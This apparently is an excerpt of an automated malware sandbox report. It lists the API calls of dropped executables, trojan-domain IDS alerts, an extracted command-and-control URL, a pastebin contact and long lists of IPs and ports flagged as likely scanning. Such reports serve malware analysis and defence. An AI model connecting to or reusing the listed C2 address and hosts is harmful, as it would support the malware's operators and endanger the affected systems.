00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Signature does not matchThe module signature does not match with .pdb signature source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: dbghelp.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: dbghelp.pdbGCTL source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp

Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_00408123 FindFirstFileA,FindClose,	13_2_00408123
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_004085B8 DeleteFileA,DeleteFileA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	13_2_004085B8
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_0040342B FindFirstFileA,	13_2_0040342B
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Code function: 14_2_00403432 FindFirstFileA,	14_2_00403432
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Code function: 14_2_00408123 FindFirstFileA,FindClose,	14_2_00408123
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Code function: 14_2_004085B8 DeleteFileA,DeleteFileA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	14_2_004085B8
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_0040D540 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_0040D540
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00412570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_00412570
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_0040D1C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	15_2_0040D1C0
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_004015C0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_004015C0
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_004121F0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	15_2_004121F0
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00411650 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	15_2_00411650
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_0040B610 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	15_2_0040B610
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_0040DB60 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	15_2_0040DB60
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00411B80 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	15_2_00411B80
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_009018B7 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	15_2_009018B7
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_008F1827 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_008F1827
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_008FD427 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	15_2_008FD427
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00902457 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	15_2_00902457
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_008FB877 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	15_2_008FB877
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_008FDDC7 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	15_2_008FDDC7
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00901DE7 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	15_2_00901DE7
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_008FD7A7 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_008FD7A7
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_009027D7 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	15_2_009027D7

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\logo.png
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\qrcode.png

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2856463 ETPRO TROJAN DNS Query to Hello2Malware Domain 192.168.2.5:51596 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2856466 ETPRO TROJAN Observed Hello2Malware Domain in TLS SNI 192.168.2.5:55130 -> 104.21.54.158:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.172.128.145/3cd2b41cbde8fc9c.php
Source: Malware configuration extractor	URLs: http://185.172.128.145/3cd2b41cbde8fc9c.php

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Connects to many IPs within the same subnet mask (likely port scanning)

Source: global traffic	TCP traffic: Count: 12 IPs: 212.110.188.222,212.110.188.189,212.110.188.211,212.110.188.202,212.110.188.213,212.110.188.220,212.110.188.198,212.110.188.193,212.110.188.195,212.110.188.204,212.110.188.216,212.110.188.207
Source: global traffic	TCP traffic: Count: 10 IPs: 103.47.93.248,103.47.93.237,103.47.93.236,103.47.93.223,103.47.93.227,103.47.93.238,103.47.93.194,103.47.93.244,103.47.93.210,103.47.93.252
Source: global traffic	TCP traffic: Count: 12 IPs: 188.132.222.194,188.132.222.141,188.132.222.7,188.132.222.167,188.132.222.9,188.132.222.4,188.132.222.3,188.132.222.5,188.132.222.51,188.132.222.23,188.132.222.12,188.132.222.14
Source: global traffic	TCP traffic: Count: 10 IPs: 72.10.160.170,72.10.160.91,72.10.160.90,72.10.160.174,72.10.160.173,72.10.160.172,72.10.160.171,72.10.160.93,72.10.160.92,72.10.160.94
Source: global traffic	TCP traffic: Count: 13 IPs: 162.159.242.109,162.159.242.7,162.159.242.10,162.159.242.230,162.159.242.252,162.159.242.150,162.159.242.62,162.159.242.45,162.159.242.138,162.159.242.8,162.159.242.158,162.159.242.104,162.159.242.159

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 103.216.51.36 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 62.171.131.101 ports 41055,25847,0,3,35006,5,6,37447
Source: global traffic	TCP traffic: 45.11.95.166 ports 6014,6002,6005,6004,6015,0,6,9,6009
Source: global traffic	TCP traffic: 163.172.166.35 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 45.11.95.165 ports 6010,6012,5043,6014,5023,5047,6038,5025,5003,5038,5039,6009,5219,5034,5211,6027,5212,6048,0,2,6,7,5005,5049,6039,5028
Source: global traffic	TCP traffic: 207.180.234.220 ports 45876,48963,47476,39323,42823,3,4,6,8,9,30507,39737,37736
Source: global traffic	TCP traffic: 183.96.235.105 ports 18572,1,2,5,7,8
Source: global traffic	TCP traffic: 164.92.86.113 ports 64110,54093,63358,57391,55651,4,5,7,54597,9,50564,60283
Source: global traffic	TCP traffic: 162.214.102.195 ports 34227,2,56755,3,4,58994,7,60891,50366
Source: global traffic	TCP traffic: 46.219.80.142 ports 0,1,4,5,7,57401
Source: global traffic	TCP traffic: 43.155.142.116 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 107.180.88.173 ports 44568,0,2,5,59820,8,9,36503
Source: global traffic	TCP traffic: 166.62.38.100 ports 8730,56191,0,3,7,8,39308,32216
Source: global traffic	TCP traffic: 162.241.6.97 ports 63360,41274,46783,59991,44607,45629,1,31794,5,50563,60651,9
Source: global traffic	TCP traffic: 72.167.38.7 ports 45650,0,4,5,6,62191
Source: global traffic	TCP traffic: 162.241.158.204 ports 63360,41274,46783,59991,44607,1,31794,5,52980,50563,60651,9
Source: global traffic	TCP traffic: 37.187.77.58 ports 49507,64494,14470,21861,59870,52593,31355,1,2,3,3139,4,13412,18936,13574,37920,19767,10710,29380
Source: global traffic	TCP traffic: 92.204.135.37 ports 26927,63462,16591,8623,22942,62969,2,58604,6,7,9,20491,55019,51229,34824,32524,33899
Source: global traffic	TCP traffic: 194.31.79.75 ports 25517,25900,1,2,5,31471,7
Source: global traffic	TCP traffic: 161.97.147.193 ports 15371,19655,2,3,8,2838
Source: global traffic	TCP traffic: 41.217.223.145 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 72.10.160.91 ports 19731,17037,7895,8171,26973,1,2367,7,8
Source: global traffic	TCP traffic: 72.10.160.90 ports 8633,5661,24201,21409,29129,3847,22181,3,27031,6,8,13643,8811,8707,17601
Source: global traffic	TCP traffic: 72.10.160.93 ports 25873,8481,2,3,5,7,8
Source: global traffic	TCP traffic: 72.10.160.172 ports 15991,20339,3161,2,27283,3,31345,7,8
Source: global traffic	TCP traffic: 72.10.160.171 ports 25921,0,1,28103,5,5105,5369
Source: global traffic	TCP traffic: 130.255.162.199 ports 20398,44234,0,1,2,3,12703,7
Source: global traffic	TCP traffic: 154.12.253.232 ports 12263,1,2,5,7,52127
Source: global traffic	TCP traffic: 62.182.114.164 ports 2,3,5,6,59623,9
Source: global traffic	TCP traffic: 51.222.241.157 ports 40351,22538,44029,51718,36363,27206,5717,2,3,5,30011,2563,8,46286
Source: global traffic	TCP traffic: 128.199.221.91 ports 7176,17532,49865,8004,33383,21605,0,1,2,5,6,50223,30447
Source: global traffic	TCP traffic: 167.172.109.12 ports 39452,46249,39533,37355,40825,2,4,6,9,41491
Source: global traffic	TCP traffic: 161.97.173.42 ports 44479,62289,3,5,7,5379,37455,9,15015,53948
Source: global traffic	TCP traffic: 185.109.184.150 ports 0,63819,56067,5,6,7
Source: global traffic	TCP traffic: 37.187.91.192 ports 21981,27898,0,1,5,6,7,17605
Source: global traffic	TCP traffic: 122.70.153.17 ports 24138,1,2,3,4,8
Source: global traffic	TCP traffic: 107.180.88.41 ports 37597,24834,3,58037,5,57642,7,9
Source: global traffic	TCP traffic: 154.79.254.236 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 162.214.227.68 ports 43435,48414,45540,34071,55392,3,55029,60433,6,7,56796,31825,9,37976,52208
Source: global traffic	TCP traffic: 148.72.206.84 ports 0,30651,1,2536,3,14815,5,6,58842,34761
Source: global traffic	TCP traffic: 207.180.198.241 ports 37443,45718,2,57327,3,5,7,55823,17228,37209
Source: global traffic	TCP traffic: 132.148.154.97 ports 0,60349,3,4,10958,6,9
Source: global traffic	TCP traffic: 161.97.163.52 ports 64120,32092,64109,0,30189,1,28593,31125,4,34586,6,9,55109,34916
Source: global traffic	TCP traffic: 88.119.139.237 ports 53281,1,2,3,5,8
Source: global traffic	TCP traffic: 162.241.137.197 ports 42350,40604,3,4,34455,5,6,60200,36534,61041
Source: global traffic	TCP traffic: 91.142.222.84 ports 22735,57041,1,2,6,12266
Source: global traffic	TCP traffic: 64.202.186.2 ports 42587,2,1258,32884,4,5,7,8
Source: global traffic	TCP traffic: 162.241.46.54 ports 58330,46849,0,3,5,53783,8
Source: global traffic	TCP traffic: 43.133.71.20 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 51.158.77.220 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 162.214.225.223 ports 37581,43435,54917,48414,63452,49227,43265,34071,58240,49806,40536,1,2,36129,3,55029,6,55742,9,50753,39824
Source: global traffic	TCP traffic: 208.87.131.240 ports 41368,22566,1,3,4,6,8
Source: global traffic	TCP traffic: 51.38.63.124 ports 2,27294,4,7,9,10983
Source: global traffic	TCP traffic: 67.227.186.83 ports 56370,0,3,5,6,7
Source: global traffic	TCP traffic: 194.163.159.93 ports 35081,0,1,3,5,8
Source: global traffic	TCP traffic: 165.227.196.37 ports 53718,61899,63637,1,56755,3,5,7,8
Source: global traffic	TCP traffic: 51.81.186.179 ports 0,3,5,58630,6,8
Source: global traffic	TCP traffic: 146.59.18.246 ports 9755,15860,40975,25810,58031,0,30673,2,29066,6,9,49871
Source: global traffic	TCP traffic: 148.66.130.53 ports 7830,31907,56350,23998,2,3,8,9,47891,13305,54209
Source: global traffic	TCP traffic: 219.243.212.118 ports 1080,8443,8080,0,1,8
Source: global traffic	TCP traffic: 50.63.12.33 ports 9367,23859,61464,0,2,31785,14738,25492,4,50781,5,22450,52814
Source: global traffic	TCP traffic: 51.15.230.100 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 162.240.72.139 ports 20614,3,4,5,7,37445
Source: global traffic	TCP traffic: 51.89.173.40 ports 17982,27887,3100,26545,54570,23854,20435,0,30199,55198,4,60775,5,7,11058,31724
Source: global traffic	TCP traffic: 202.142.159.204 ports 0,1,2,3,31026,6
Source: global traffic	TCP traffic: 92.205.107.159 ports 57238,2,3,5,7,8
Source: global traffic	TCP traffic: 191.53.112.170 ports 45619,1,4,5,6,9
Source: global traffic	TCP traffic: 159.223.71.71 ports 59243,56581,1,59159,52542,61818,5,51187,60377,7,8,51213,64193
Source: global traffic	TCP traffic: 111.92.164.242 ports 2,3,4,5,7,52347
Source: global traffic	TCP traffic: 146.59.70.29 ports 2,5,6,52276,7,37665
Source: global traffic	TCP traffic: 185.23.118.252 ports 0,1,3,5,7,53701
Source: global traffic	TCP traffic: 38.54.95.19 ports 8060,0,3128,9080,8,9
Source: global traffic	TCP traffic: 162.214.121.173 ports 64579,44826,62976,35183,4,5,6,33572,7,9,64382
Source: global traffic	TCP traffic: 20.24.43.214 ports 8123,1,2,3,8,80
Source: global traffic	TCP traffic: 92.205.61.38 ports 50903,21286,4300,29249,36073,0,24183,3,6,7
Source: global traffic	TCP traffic: 162.241.46.40 ports 62592,62244,41442,49401,56241,34172,61579,2,5,6,9,46097
Source: global traffic	TCP traffic: 195.154.43.184 ports 1,3,5,7,31957,9
Source: global traffic	TCP traffic: 208.109.14.49 ports 63470,37377,11426,3,7,42072,11733
Source: global traffic	TCP traffic: 5.252.23.249 ports 1080,1,2,3,3128,8
Source: global traffic	TCP traffic: 173.212.209.49 ports 39522,44416,64309,1,31673,4,6,58827
Source: global traffic	TCP traffic: 66.228.35.209 ports 17464,14321,56560,0,4,44809,8,9
Source: global traffic	TCP traffic: 148.72.212.183 ports 45012,2792,0,1,2,4,5
Source: global traffic	TCP traffic: 5.252.23.220 ports 1080,1081,0,1,3128,8
Source: global traffic	TCP traffic: 148.72.212.198 ports 35264,0,3,5,9,3950
Source: global traffic	TCP traffic: 151.236.39.7 ports 57248,2,4,5,59202,7,8
Source: global traffic	TCP traffic: 107.180.90.88 ports 8078,63100,20309,0,2,55347,62908,6,8,9,64081,7936
Source: global traffic	TCP traffic: 94.23.220.136 ports 43751,25256,2,5,6,21062
Source: global traffic	TCP traffic: 162.241.46.6 ports 62244,60708,61579,34172,50062,2,4,6,46097
Source: global traffic	TCP traffic: 66.42.60.190 ports 21358,1,2,3,5,8
Source: global traffic	TCP traffic: 62.205.169.74 ports 53281,1,2,3,5,8
Source: global traffic	TCP traffic: 162.241.53.72 ports 57495,57364,3,4,5,6,7,53755,31414,62192
Source: global traffic	TCP traffic: 37.187.73.7 ports 23637,12582,16113,2,3,6,7
Source: global traffic	TCP traffic: 41.85.189.66 ports 39475,3,4,5,7,9
Source: global traffic	TCP traffic: 77.65.50.118 ports 1,3,34159,4,5,9
Source: global traffic	TCP traffic: 147.124.212.31 ports 11070,0,1,24230,7,51825
Source: global traffic	TCP traffic: 62.112.11.204 ports 1,2,3,4,6,26431
Source: global traffic	TCP traffic: 104.238.111.107 ports 5484,5452,3230,26305,23667,56225,2,30026,5,36049,6,7999
Source: global traffic	TCP traffic: 51.158.96.66 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 43.255.113.232 ports 8082,8083,8080,8084,0,2,8,80,84
Source: global traffic	TCP traffic: 37.228.65.107 ports 0,1,2,51032,3,5
Source: global traffic	TCP traffic: 51.158.105.107 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 194.233.78.142 ports 49628,35760,34471,1,35513,3,5
Source: global traffic	TCP traffic: 92.204.134.38 ports 52929,25825,9375,15393,7785,42571,25675,29718,25416,3,1555,55425,56177,5,54467,28695,7,51123,30747,9,59727
Source: global traffic	TCP traffic: 52.67.10.183 ports 1,2,3,3128,8,80
Source: global traffic	TCP traffic: 88.202.230.103 ports 17045,8896,0,1,13638,4,5,7
Source: global traffic	TCP traffic: 67.213.212.50 ports 28965,2,5,6,8,9
Source: global traffic	TCP traffic: 197.232.36.85 ports 41890,0,1,4,8,9
Source: global traffic	TCP traffic: 162.144.36.208 ports 27829,38242,2,27531,31683,7,8,9
Source: global traffic	TCP traffic: 181.212.136.34 ports 5199,1,5,7,8,7518
Source: global traffic	TCP traffic: 132.148.6.255 ports 20859,0,2,5,8,9
Source: global traffic	TCP traffic: 132.148.245.169 ports 38780,19483,0,3,7,8
Source: global traffic	TCP traffic: 162.210.192.136 ports 0,57403,3,4,5,7
Source: global traffic	TCP traffic: 210.5.10.87 ports 53281,1,2,3,5,8
Source: global traffic	TCP traffic: 72.167.222.113 ports 39574,12581,2,41629,4,8,4125,9,48892
Source: global traffic	TCP traffic: 79.101.55.161 ports 53281,1,2,3,5,8
Source: global traffic	TCP traffic: 67.43.227.228 ports 26903,19479,6643,9039,1031,26957,0,1,3,31581,15753
Source: global traffic	TCP traffic: 67.43.227.226 ports 1,2,4,5,7,32583,12745
Source: global traffic	TCP traffic: 114.6.25.5 ports 65432,2,3,4,5,6
Source: global traffic	TCP traffic: 94.247.241.70 ports 0,3,4,5,6,53640
Source: global traffic	TCP traffic: 51.79.87.144 ports 41230,8533,22500,41746,0,30464,3,54395,4,6,18636
Source: global traffic	TCP traffic: 217.23.11.194 ports 32708,0,2,3,7,8,47152
Source: global traffic	TCP traffic: 51.68.164.77 ports 16892,1,2,6,8,9,54504,32824
Source: global traffic	TCP traffic: 159.223.166.21 ports 5078,1372,45537,0,4,25154,6,7,47460
Source: global traffic	TCP traffic: 31.24.44.92 ports 1,2,52173,3,5,7,50687
Source: global traffic	TCP traffic: 67.43.228.253 ports 14493,18753,19425,18153,5189,4321,24269,25379,1,14869,3,12549,5,1277,7,8,11089,13873,9713,31947,30913,15961,32923
Source: global traffic	TCP traffic: 67.43.228.251 ports 21223,24985,5,1265,9,5999
Source: global traffic	TCP traffic: 148.72.209.174 ports 38088,39027,3,4,29544,7,39458,2906,16203,4734
Source: global traffic	TCP traffic: 50.63.12.101 ports 61797,3580,6095,0,1,10647,4,6,7,17559
Source: global traffic	TCP traffic: 77.238.79.111 ports 8080,5,6,7,8,5678
Source: global traffic	TCP traffic: 198.12.255.193 ports 9375,22785,53281,3,5,7,6821,9,51612,48572
Source: global traffic	TCP traffic: 209.222.97.30 ports 19481,1,15805,4,8,9
Source: global traffic	TCP traffic: 66.29.129.54 ports 47036,0,3,4,6,7
Source: global traffic	TCP traffic: 139.162.238.184 ports 21017,39652,22243,29870,2,3,4,13302
Source: global traffic	TCP traffic: 36.67.27.189 ports 39674,3,4,6,7,9
Source: global traffic	TCP traffic: 51.161.131.84 ports 63055,43712,25843,0,58612,2,4,49202,9,19987
Source: global traffic	TCP traffic: 117.160.250.163 ports 8080,8081,9990,0,8,80,81,9999,82,8828
Source: global traffic	TCP traffic: 51.75.126.150 ports 36580,19693,36694,15474,21803,64615,2,3,11802,35632,5,6,34144,4228,37847
Source: global traffic	TCP traffic: 209.126.104.38 ports 44412,40053,40750,1,2,4,5,7,12457
Source: global traffic	TCP traffic: 186.215.87.194 ports 8893,6032,8891,6000,6016,0,6,6009,6008
Source: global traffic	TCP traffic: 132.148.129.254 ports 0,1,6,7,8,60781
Source: global traffic	TCP traffic: 166.159.90.56 ports 53281,1,2,3,5,8
Source: global traffic	TCP traffic: 132.148.167.243 ports 0,1,2,7,48298,28040,17702
Source: global traffic	TCP traffic: 140.227.61.156 ports 23456,2,3,4,5,6
Source: global traffic	TCP traffic: 51.158.98.211 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 67.43.236.20 ports 24517,17167,14397,8675,8973,32083,22653,9681,20657,27945,30761,2169,11729,5599,8209,9617,7315,12239,15229,17845,18445,20685,11591,19355,6961,26169,25633,8141,4081,24603,0,16829,13959,2,11957,3389,8,9
Source: global traffic	TCP traffic: 72.10.164.178 ports 26959,16593,5043,13341,24431,8293,23305,5959,31871,1953,2589,29389,3113,17803,10235,12613,19511,24847,24769,7037,5673,15891,23871,25799,4519,2,10801,5,6,2893,9,15677,31805,29471,5747
Source: global traffic	TCP traffic: 162.241.45.22 ports 50528,44931,63501,0,1,5,6,55610
Source: global traffic	TCP traffic: 171.244.140.160 ports 15141,5189,62310,14253,56076,24015,0,1,2,31643,27020,4,5,27056,37400,53749,8826,34559
Source: global traffic	TCP traffic: 95.217.104.21 ports 24815,1,2,4,5,8
Source: global traffic	TCP traffic: 93.190.142.57 ports 41890,0,1,4,26541,8,9
Source: global traffic	TCP traffic: 162.214.197.102 ports 42019,0,3,4,6,46430
Source: global traffic	TCP traffic: 62.122.201.246 ports 0,1,2,5,9,50129
Source: global traffic	TCP traffic: 51.158.111.76 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 162.241.79.22 ports 1,3,5,52048,8,35318
Source: global traffic	TCP traffic: 184.178.172.28 ports 15294,1,2,4,5,9
Source: global traffic	TCP traffic: 91.134.140.160 ports 20896,16487,48962,49687,2572,56495,57320,27207,9141,32896,32588,1,53012,30895,11946,3,5,8879,5401,51513,39803,49042,12217
Source: global traffic	TCP traffic: 160.153.245.187 ports 38586,35138,59786,5,6,7,8,9,6116,31745
Source: global traffic	TCP traffic: 51.178.182.200 ports 1,2,3,6,7,63172
Source: global traffic	TCP traffic: 184.178.172.18 ports 15280,0,1,2,5,8
Source: global traffic	TCP traffic: 45.81.232.17 ports 27855,59421,54393,23711,1,2,30696,4,8,47056,21481,4715
Source: global traffic	TCP traffic: 51.158.79.76 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 72.195.34.35 ports 0,2,27360,3,6,7
Source: global traffic	TCP traffic: 107.180.90.248 ports 7698,6,7,8,9,43240
Source: global traffic	TCP traffic: 159.89.163.18 ports 1,2,3,23196,6,9

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: TZPggM3oFTuVSt5WXyjCPa4K.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: xBWhJ9fAo9Iu3r2QPWYsNC0n.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: RO84xP5vKtm7omg9lbXhIpkf.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: UVLurWz0zwkQqd3HayB6HEY3.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: hPHTonYP7RyWeeJ9W9mN2cDP.exe.5.dr
